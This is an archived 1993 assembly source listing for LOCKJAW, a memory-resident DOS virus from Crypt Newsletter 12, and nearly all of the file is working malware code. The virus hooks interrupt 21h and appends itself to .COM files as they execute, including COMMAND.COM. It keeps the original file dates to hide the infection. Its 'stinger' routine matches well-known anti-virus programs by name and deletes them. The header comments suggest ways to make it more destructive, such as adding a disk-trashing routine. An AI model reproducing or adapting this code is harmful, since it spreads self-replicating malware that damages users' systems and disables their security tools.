home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 296.LOCKJAW.ASM < prev    next >
Assembly Source File  |  1993-01-28  |  18KB  |  562 lines

  1. ;LOCKJAW: a .COM-infecting resident virus with retaliatory 
  2. ;anti-anti-virus capability.  Programmed and contributed by Nikademus, for
  3. ;Crypt Newsletter 12, Feb. 1993.               
  4. ;
  5. ;LOCKJAW is a resident virus which installs itself in
  6. ;memory using the same engine as the original Civil War/Proto-T virus.
  7. ;
  8. ;LOCKJAW hooks interrupt 21 and infects .COM files on execution, appending 
  9. ;itself to the end of the "host."  
  10. ;LOCKJAW will infect COMMAND.COM and is fairly transparent to a
  11. ;casual user, except when certain anti-virus programs 
  12. ;(Integrity Master, McAfee's SCAN &
  13. ;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
  14. ;If LOCKJAW is present and any of these programs are employed from
  15. ;a write-protected diskette, the virus will, of course, generate
  16. ;"write protect" errors.
  17. ;
  18. ;LOCKJAW's "stinger" code demonstrates the simplicity of creating a strongly
  19. ;retaliating virus by quickly deleting the anti-virus program before it
  20. ;can execute and then displaying a "chomping" graphic.  Even if the anti-
  21. ;virus program cannot detect LOCKJAW in memory, it will be deleted.  This
  22. ;makes it essential that the user know how to either remove the virus from
  23. ;memory before beginning anti-virus measures, or at the least run the
  24. ;anti-virus component from a write-protected disk. At a time when retail
  25. ;anti-virus packages are becoming more complicated - and more likely that the
  26. ;average user will run them from default installations on his hard file -
  27. ;LOCKJAW's retaliating power makes it a potentially very annoying pest.
  28. ;A virus-programmer serious about inconveniencing a system could do a
  29. ;number of things with this basic idea. They are;
  30. ; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
  31. ; instantly.
  32. ; 2. Alter the_stinger routine, so that the virus immediately attacks the
  33. ; hard file.  The implementation is demonstrated by LOKJAW-DREI, which
  34. ; merely makes the disk inaccessible until a warm reboot if an anti-virus
  35. ; program is employed against it.  By placing
  36. ; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
  37. ; an unknowing user to employ anti-virus measures on a machine where
  38. ; LOCKJAW or a LOCKJAW-like program is memory resident.
  39. ;
  40. ;These anti-anti-virus strategies are becoming more numerous in viral 
  41. ;programming.                 
  42. ;
  43. ;For example, Mark Ludwig programmed the features of a direct-action 
  44. ;retaliating virus in his "Computer Virus Developments Quarterly."  
  45. ;Peach, Groove and Encroacher viruses attack anti-virus software by 
  46. ;deletion of files central
  47. ;to the functionality of the software. 
  48. ;
  49. ;And in this issue, the Sandra virus employs a number 
  50. ;of anti-anti-virus features. 
  51. ;
  52. ;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and                
  53. ;DREI infected files from a system, simply delete the "companion" .COM 
  54. ;duplicates of your executables.  Ensure that the machine has been booted
  55. ;from a clean disk.  To remove the LOCKJAW .COM-appending virus, at this
  56. ;time it will be necessary for you to restore the contaminated files from
  57. ;a clean back-up.
  58. ;
  59.         
  60.         .radix 16
  61.      code       segment
  62.         model  small
  63.         assume cs:code, ds:code, es:code
  64.  
  65.         org 100h
  66.  
  67. len             equ offset last - begin
  68. vir_len         equ len / 16d 
  69.  
  70. host:           db 0E9h, 03h, 00h, 43h, 44h, 00h     ; host dummy    
  71.  
  72. begin:          
  73.         
  74.         call virus            ; push i.p. onto the stack 
  75.  
  76. virus:          
  77.         jmp after_note
  78.  
  79. note:            
  80.         db     '[lÖçk⌡äW].ߥ.ÑîkådëMû$'
  81.         db     '┼Hï$.pΓÖGΓåm.î$.à.{pΓÖ┼ö-┼].√âΓïåñ┼'
  82.         db     '┼håÑk$.┼ó.ÇΓÿ₧'
  83.  
  84. after_note:     
  85.         pop     bp                   ; recalculate change in offset          
  86.         sub     bp,109h                        
  87.  
  88. fix_victim:     
  89.         mov     di,0100h                 ; restore host's       
  90.         lea     si,ds:[vict_head+bp]     ;    !
  91.         mov     cx,06h                   ;    !
  92.         rep     movsb                    ; first 6 bytes
  93. Is_I_runnin:    
  94.         mov     ax,2C2Ch                   
  95.         int     21h                      ; call to see if installed  
  96.         cmp     ax, 0DCDh
  97.         je      Bye_Bye
  98. cut_hole:  
  99.         mov     ax,cs                    ; get memory control block    
  100.         dec     ax                           
  101.         mov     ds,ax                        
  102.         cmp     byte ptr ds:[0000],5a    ; check if last block -   
  103.         jne     abort                        
  104.         mov     ax,ds:[0003]                 
  105.         sub     ax,100                    ; decrease memory    
  106.         mov     ds:0003,ax
  107. Zopy_virus:                                      ; copy to claimed block
  108.         mov     bx,ax                    ; PSP  
  109.         mov     ax,es                    ; virus start    
  110.         add     ax,bx                    ; in memory   
  111.         mov     es,ax
  112.         mov     cx,len                   ; cx = length of virus
  113.         mov     ax,ds                    ; restore ds   
  114.         inc     ax
  115.         mov     ds,ax
  116.         lea     si,ds:[begin+bp]         ; point to start of virus   
  117.         lea     di,es:0100               ; point to destination  
  118.         rep     movsb                    ; start copying the virus   
  119.                             
  120.         mov     [vir_seg+bp],es        
  121.         mov     ax,cs                       
  122.         mov     es,ax                    ; restore extra segment
  123. Grab_21:                                     
  124.         cli
  125.         mov     ax,3521h           ; request address of interrupt 21
  126.         int     21h                     
  127.         mov     ds,[vir_seg+bp]   
  128.         mov     ds:[old_21h-6h],bx
  129.         mov     ds:[old_21h+2-6h],es
  130.         mov     dx,offset Lockjaw - 6h    ; revector to virus
  131.         mov     ax,2521h                
  132.         int     21h                     
  133.         sti                            
  134. abort:          
  135.         mov     ax,cs                      ; get the hell outa 
  136.         mov     ds,ax                      ; Dodge
  137.         mov     es,ax
  138.         xor     ax,ax
  139.  
  140. Bye_Bye:      
  141.         mov     bx,0100h                  ; hand off to host
  142.         jmp     bx                     
  143.  
  144. Lockjaw:         
  145.         pushf                              ; is i checkin if     
  146.         cmp     ax,2c2ch                   ; resident
  147.         jne     My_21h                   
  148.         mov     ax,0dcdh                 
  149.         popf                                   
  150.         iret
  151.         
  152. My_21h:         
  153.         push    ds                       
  154.         push    es                         ; save all registers
  155.         push    di
  156.         push    si
  157.         push    ax
  158.         push    bx
  159.         push    cx
  160.         push    dx
  161. check_exec:     
  162.         cmp     ax,04B00h                  ; is the file being 
  163.         jne     notforme                   ; executed?
  164.         mov     cs:[name_seg-6],ds
  165.         mov     cs:[name_off-6],dx
  166.         jmp     chk_com                    ; start potential
  167.                            ; infection
  168. notforme:       
  169.         pop     dx                         ; exit
  170.         pop     cx                         ; restore all registers
  171.         pop     bx
  172.         pop     ax
  173.         pop     si
  174.         pop     di
  175.         pop     es
  176.         pop     ds
  177.         popf
  178.         jmp     dword ptr cs:[old_21h-6]
  179. int21:          
  180.         pushf                           
  181.         call    dword ptr cs:[old_21h-6]      ; int 21h handler
  182.         jc      notforme                      ; exit on error
  183.         ret                           
  184.  
  185. chk_com:        cld                              ; this essentially copies
  186.         mov     di,dx                    ; the name of the file
  187.         push    ds                       ; and sets it up for 
  188.         pop     es                       ; comparison to the anti-
  189.         mov     al,'.'                   ; virus defaults used in
  190.         repne   scasb                    ; the_stinger
  191.         call    the_stinger              ; anti-virus stinger  
  192.         cmp     ax, 00ffh                ; WAS the program an AV?
  193.         je      notforme
  194.         cmp     word ptr es:[di],'OC'    ; is it a .com ?
  195.         jne     notforme                 ; compare against extension
  196.         cmp     word ptr es:[di+2],'M'   ; masks in these two steps
  197.         jne     notforme                     
  198.                              
  199.         call    Grab_24                 ; set critical error handler  
  200.         call    set_attrib
  201.                 
  202. open_victim:                                    ; open potential host
  203.         mov     ds,cs:[name_seg-6]   
  204.         mov     dx,cs:[name_off-6]
  205.         mov     ax,3D02h             
  206.         call    int21            
  207.         jc      close_file              ; leave on error
  208.         push    cs
  209.         pop     ds
  210.         mov     [handle-6],ax           ; save handle 
  211.         mov     bx,ax   
  212.  
  213.         call    get_date                ; save date/time characters
  214.         
  215. check_forme:    
  216.         push    cs
  217.         pop     ds
  218.         mov     bx,[handle-6]        
  219.         mov     ah,3fh
  220.         mov     cx,06h                 ; copy first 6 bytes of host
  221.         lea     dx,[vict_head-6]
  222.         call    int21
  223.         mov     al, byte ptr [vict_head-6]     ; is the prog a exe?
  224.         mov     ah, byte ptr [vict_head-6]+1   
  225.         cmp     ax,[exe-6]                     ; compare with 'ZM'
  226.         je      save_date                      ; jump to restore
  227.         mov     al, byte ptr [vict_head-6]+3   ; is the prog already
  228.         mov     ah, byte ptr [vict_head-6]+4   ; infected?
  229.         cmp     ax,[initials-6]
  230.         je      save_date                
  231.                          
  232.         
  233. get_len:        
  234.         mov     ax,4200h                 
  235.         call    move_pointer
  236.         mov     ax,4202h                 
  237.         call    move_pointer
  238.         sub     ax,03h                   
  239.         mov     [len_file-6],ax
  240.            
  241.         call    write_jmp             ; write the jump to the virus
  242.         call    write_virus           ; at the head of the host                        
  243.                           ; write the remainder of the   
  244. save_date:                                    ; virus to the end of the file
  245.         push    cs                       
  246.         pop     ds
  247.         mov     bx,[handle-6]
  248.         mov     dx,[date-6]
  249.         mov     cx,[time-6]
  250.         mov     ax,5701h
  251.         call    int21
  252.  
  253. close_file:     
  254.         mov     bx,[handle-6]
  255.         mov     ah,03eh                    
  256.         call    int21
  257.         mov     dx,cs:[old_24h-6]          
  258.         mov     ds,cs:[old_24h+2-6]
  259.         mov     ax,2524h
  260.         call    int21
  261.         jmp     notforme         
  262. new_24h:        
  263.         mov     al,3            
  264.         iret
  265. the_stinger:    ; detection of anti-virus against defaults
  266.         cmp     word ptr es:[di-3],'MI'    ;Integrity Master
  267.         je      jumptoass                
  268.         
  269.         cmp     word ptr es:[di-3],'XR'    ;*rx = VIREX
  270.         je      jumptoass                
  271.         
  272.         cmp     word ptr es:[di-3],'PO'    ;*STOP = VIRSTOP
  273.         jne     next1                     
  274.         cmp     word ptr es:[di-5],'TS'   
  275.         je      jumptoass                
  276.  
  277. next1:          cmp     word ptr es:[di-3],'VA'    ;AV  = cpav
  278.         je      jumptoass                  ;Central Point     
  279.         cmp     word ptr es:[di-3],'TO'    ;*prot = F-prot
  280.         jne     next2                
  281.         cmp     word ptr es:[di-5],'RP'  
  282.         je      jumptoass                     
  283.  
  284. next2:          cmp     word ptr es:[di-3],'NA'    ;*scan =  McAfee's Scan.
  285.         jne     next3                
  286.         cmp     word ptr es:[di-5],'CS'  
  287.         je      jumptoass                     
  288.         
  289.         cmp     word ptr es:[di-3],'NA'    ;*lean = CLEAN.
  290.         jne     next3                      ; why not, eh?
  291.         cmp     word ptr es:[di-5],'EL'  
  292.         je      jumptoass                     
  293. next3:          ret                
  294. jumptoass:      
  295.         jmp     Asshole_det                ;Asshole Program                                      
  296.                            ;Detected, delete
  297. move_pointer:   
  298.         push    cs
  299.         pop     ds
  300.         mov     bx,[handle-6]
  301.         xor     cx,cx
  302.         xor     dx,dx
  303.         call    int21
  304.         ret
  305.                         
  306. write_jmp:      
  307.         push    cs                    
  308.         pop     ds
  309.         mov     ax,4200h         ; move pointer to beginning of host
  310.         call    move_pointer     ; do it, as in move_pointer
  311.         mov     ah,40h           ; write
  312.         mov     cx,01h           ; a byte
  313.         lea     dx,[jump-6]      ; of the jump to LOCKJAW code
  314.         call    int21            ; out to the host
  315.         mov     ah,40h           ; reset the pointer 
  316.         mov     cx,02h           
  317.         lea     dx,[len_file-6]
  318.         call    int21
  319.         mov     ah,40h           ; write the virus's recognition
  320.         mov     cx,02h           ; intials out to the host
  321.         lea     dx,[initials-6]
  322.         call    int21
  323.         ret
  324.  
  325. write_virus:    
  326.         push    cs
  327.         pop     ds
  328.         mov     ax,4202h       
  329.         call    move_pointer   ; move the pointer to end of host
  330.         mov     ah,40      ; write-to-file function
  331.         mov     cx,len     ; length of virus in cx 
  332.         mov     dx,100
  333.         call    int21      
  334.         ret
  335.  
  336. get_date:       
  337.         mov     ax,5700h           ; get date/time stamps oh host
  338.         call    int21              ; stash them in buffers
  339.         push    cs
  340.         pop     ds
  341.         mov     [date-6],dx        ;<-----
  342.         mov     [time-6],cx        ;<-----
  343.         ret
  344.                      
  345. Grab_24:        
  346.         mov     ax,3524h              ; set up critical error handler
  347.         call    int21        
  348.         mov     cs:[old_24h-6],bx
  349.         mov     cs:[old_24h+2-6],es
  350.         mov     dx,offset new_24h-6
  351.         push    cs
  352.         pop     ds
  353.         mov     ax,2524h            ; revector error handler to virus
  354.         call    int21        
  355.         ret
  356.  
  357. set_attrib:  
  358.         mov     ax,4300h             ; retrieve file attributes
  359.         mov     ds,cs:[name_seg-6]
  360.         mov     dx,cs:[name_off-6]
  361.         call    int21
  362.         and     cl,0feh                
  363.         mov     ax,4301h
  364.         call    int21               
  365.         ret
  366. Asshole_det:
  367.         mov     ds,cs:[name_seg-6]           ; the anti-virus file
  368.         mov     dx,cs:[name_off-6]
  369.         mov     ax, 4301h                    ; clear attributes
  370.         mov     cx, 00h
  371.         call    int21            
  372.         mov     ah, 41h                      ; delete it
  373.         call    int21
  374. chomp:
  375.         push    cs                           ; da chomper visual
  376.         pop     ds
  377.         mov     ah, 03h
  378.         int     10h
  379.         mov     [c1-6], bh                   ; save cursor 
  380.         mov     [c2-6], dh 
  381.         mov     [c3-6], dl 
  382.         mov     [c4-6], ch 
  383.         mov     [c5-6], cl 
  384.         mov     ah, 1
  385.         mov     cl, 0
  386.         mov     ch, 40h                 
  387.         int     10h                    
  388.                            
  389.         mov     cl, 0
  390.         mov     dl, 4Fh                 
  391.         mov     ah, 6
  392.         mov     al, 0
  393.         mov     bh, 0Fh
  394.         mov     ch, 0
  395.         mov     cl, 0
  396.         mov     dh, 0
  397.         mov     dl, 4Fh                 
  398.         int     10h                    
  399.                            
  400.         mov     ah, 2
  401.         mov     dh, 0
  402.         mov     dl, 1Fh
  403.         mov     bh, 0
  404.         int     10h                    
  405.                            
  406.         mov     dx, offset eyes - 6          ; print the eyes
  407.         mov     ah, 9
  408.         mov     bl, 0Fh
  409.         call    int21                    
  410.                            
  411.         mov     ah, 2
  412.         mov     dh, 1
  413.         mov     dl, 0
  414.         int     10h                    
  415.                            
  416.         mov     ah, 9
  417.         mov     al, 0DCh
  418.         mov     bl, 0Fh
  419.         mov     cx, 50h
  420.         int     10h                    
  421.                            
  422.         mov     ah, 2
  423.         mov     dh, 18h
  424.         mov     dl, 0
  425.         int     10h                    
  426.                            
  427.         mov     ah, 9
  428.         mov     al, 0DFh
  429.         mov     bl, 0Fh
  430.         mov     cx, 50h
  431.         int     10h                    
  432.                            
  433.         mov     dl, 0
  434. chomp_1:
  435.         mov     ah, 2
  436.         mov     dh, 2
  437.         int     10h                    
  438.                            
  439.         mov     ah, 9
  440.         mov     al, 55h                 
  441.         mov     bl, 0Fh
  442.         mov     cx, 1
  443.         int     10h                    
  444.                            
  445.         mov     ah, 2
  446.         mov     dh, 17h
  447.         inc     dl
  448.         int     10h                    
  449.                            
  450.         mov     ah, 9
  451.         mov     al, 0EFh
  452.         mov     bl, 0Fh
  453.         int     10h                    
  454.                            
  455.         inc     dl
  456.         cmp     dl, 50h                 
  457.         jl      chomp_1                  
  458.         mov     [data_1-6], 0
  459. chomp_3:
  460.         mov     cx, 7FFFh                    ; delays
  461.  
  462. locloop_4:
  463.         loop    locloop_4              
  464.  
  465.         inc     [data_1-6]
  466.         cmp     [data_1-6], 0Ah
  467.         jl      chomp_3                  
  468.         mov     [data_1-6], 0
  469.         mov     cl, 0
  470.         mov     dl, 4Fh                 
  471. chomp_5:
  472.         mov     ah, 6
  473.         mov     al, 1
  474.         mov     bh, [data_2-6]
  475.         mov     ch, 0Dh
  476.         mov     dh, 18h
  477.         int     10h                    
  478.                            
  479.         mov     ah, 7
  480.         mov     al, 1
  481.         mov     bh, [data_2-6]
  482.         mov     ch, 0
  483.         mov     dh, 0Ch
  484.         int     10h                    
  485.         mov     cx, 3FFFh                      ; delays
  486.  
  487. locloop_6:
  488.         loop    locloop_6              
  489.         inc     [data_1-6]
  490.         cmp     [data_1-6], 0Bh
  491.         jl      chomp_5                  
  492.         mov     [data_1-6], 0
  493. chomp_7:
  494.         mov     cx, 7FFFh                       ; delays
  495.  
  496. locloop_8:
  497.         loop    locloop_8              
  498.         inc     [data_1-6]
  499.         cmp     [data_1-6], 0Ah
  500.         jl      chomp_7                  
  501.         mov     ah, 6
  502.         mov     al, 0
  503.         mov     bh, [data_2-6]
  504.         mov     ch, 0
  505.         mov     cl, 0
  506.         mov     dh, 18h
  507.         mov     dl, 4Fh                 
  508.         int     10h                    
  509.                            
  510.         mov     cl, 7
  511.         mov     ch, 6
  512.         int     10h                    
  513.         
  514.         mov     ah, 2
  515.         mov     bh, [c1-6] 
  516.         mov     dh, [c2-6] 
  517.         mov     dl, [c3-6] 
  518.         int     10h
  519.         mov     al, bh
  520.         mov     ah, 5
  521.         int     10h
  522.         mov     ah, 1
  523.         mov     ch, [c4-6]
  524.         mov     cl, [c5-6]
  525.         int     10h
  526.         mov     ax, 0003h
  527.         int     10h                        ; sort of a cls
  528.         mov     ax, 00ffh
  529.         ret
  530.                            
  531.  
  532. eyes            db      '(o)          (o)','$'      ; ASCII eyes
  533. vict_head       db  090h, 0cdh, 020h, 043h, 044h, 00h  ; 6 bytes of host    
  534. jump            db  0E9h                                   
  535. initials        dw  4443h   ; I.D.                               
  536. exe             dw  5A4Dh   ; ZM - ident for .EXE files
  537. last            db  090h                                   
  538.  
  539. data_1          db      0
  540. data_2          db      0
  541. old_21h         dw  00h,00h
  542. old_24h         dw  00h,00h
  543. old_10h         dw  00h,00h
  544. name_seg        dw  ?
  545. name_off        dw  ?
  546. vir_seg         dw  ?
  547. len_file        dw  ?
  548. handle          dw  ?
  549. date            dw  ?
  550. time            dw  ?
  551. c1              db       0          
  552. c2              db       0          
  553. c3              db       0          
  554. c4              db       0          
  555. c5              db       0          
  556.  
  557. code            ends
  558.         end host
  559.  
  560.  
  561.  
  562.